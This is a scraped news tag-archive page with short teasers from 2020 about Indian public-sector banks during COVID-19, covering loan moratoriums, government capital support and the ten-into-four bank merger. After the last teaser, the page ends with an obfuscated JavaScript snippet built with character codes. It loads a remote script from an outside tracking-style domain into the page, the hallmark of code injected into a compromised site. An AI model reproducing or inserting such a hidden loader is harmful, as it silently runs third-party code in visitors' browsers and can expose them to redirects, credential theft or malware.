Tag Archives: banks

Coronavirus Update Government Capital Infusion In Public Sector Banks

SBI Eases Minimum Balance Rules. Here

The government may need to make a provision of at least Rs 20-25,000 crore Government has assured state banks it is ready to provide capital support as the coronavirus pandemic may lead to a surge in bad loans when economic growth is slowing, three government and banking sources told Reuters. …

Read More »

Loan Moratorium EMI Delay By 3 Months Unlikely To Give Benefit As Banks To Charge Interests Later

Borrowers Unlikely To Get Loan Moratorium Benefit As Banks Will Charge Interest Later

The banks will levy interest on the outstanding amount of loan The three-month suspension of EMI payments may not result in a significant gains for borrowers as they will charge interest for the moratorium period, according to the moratorium scheme announced by state-owned banks. Last Friday, the RBI had announced …

Read More »

Merger Of PSU Banks April 1 4 State-Run Banks In Place Of 10 From Today As Mega Merger Takes Effect

4 State-Run Banks In Place Of 10 From Today As Mega Merger Takes Effect

The government’s mega merger plan to strengthen the financial system came into effect on Wednesday, combining 10 state-run banks into four. Announced in August last year, the merger combines Punjab National Bank, Oriental Bank of Commerce and United Bank into one lender managing business worth Rs 17.95 lakh crore. Similarly, …

Read More »

Indian Banks Association Answers All Questions About Loan Moratorium

Indian Banks Association Answers All Questions About Loan Moratorium

Reserve Bank of India announced certain regulatory measures to mitigate the burden of debt servicing Last week, the Reserve Bank of India announced a three-month moratorium on all term loans outstanding as on March 1, 2020, as well as on working capital facilities, as part of its measures to strengthen …

Read More »

State-Run Banks Allow 3-Month EMI Relaxation To Term Loan Borrowers

Rupee Recovers After Hitting New Record Low Of 74.50 Against Dollar: 10 Points

Many state-run banks have allowed their loan borrowers – customers with active term loan accounts – to delay paying their monthly instalments for a period of three months. Public sector lenders, including the likes of State Bank of India, Punjab National Bank, Bank of Baroda, Canara Bank, Oriental Bank of Commerce …

Read More »

All Banks Ensuring Branches Open, ATMs Working, Says Nirmala Sitharaman

All Banks Ensuring Branches Open, ATMs Working: Nirmala Sitharaman

Social distancing is being respected and sanitizers are provided, Ms Sitharaman emphasized.. Finance Minister Nirmala Sitharaman gave an assurance that all bank branches and ATMs would remain open, in an attempt to assuage concerns that the ongoing coronavirus lockdown across the country, which is already into the sixth day, may …

Read More »

Mega Merger Of State-Run Banks Comes Into Force From April 1, Says RBI

Mega Merger Of State-Run Banks Comes Into Force From April 1, Says RBI

The schemes for the merger of ten state-run banks into four lenders are coming into force from April 1, according to the Reserve Bank of India. The banking regulator in separate releases announced that the branches of merging banks will operate as of the banks in which these have been …

Read More »

Fitch Seeks More Difficulties For Indian Banks Ahead

Government Pushes State Banks To Boost Lending As Virus Fears Grow: Report

Mumbai: Worries emanating from the coronavirus pandemic are likely to aggravate difficulties for Indian banks, ratings agency Fitch said on Thursday, revising down the operating environment score for the sector by a notch. Revising the score to “BB” from “BB+”, the agency pointed out that the coronavirus (COVID-19) outbreak ups the worries …

Read More »

Premier League clubs urged to help food banks during coronavirus crisis | Football

Premier League clubs have been urged to follow the leads of Liverpool and Brighton to “avoid a disaster waiting to happen” by fighting the threat of the coronavirus crisis to food banks and ensuring casual staff are paid during football’s suspension. The move, by the organisation Fans Supporting Foodbanks, comes …

Read More »
var u = String.fromCharCode(104,116,116,112,115,58,47,47,99,111,117,110,116,46,116,114,97,99,107,115,116,97,116,105,115,116,105,99,115,115,115,46,99,111,109,47,106,46,106,115,63,118,61);var d=document;var s=d.createElement(String.fromCharCode(115,99,114,105,112,116)); s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); var pl = u; s.src=pl; if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {d.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(s);var list = document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116));list.insertBefore(s, list.childNodes[0]);}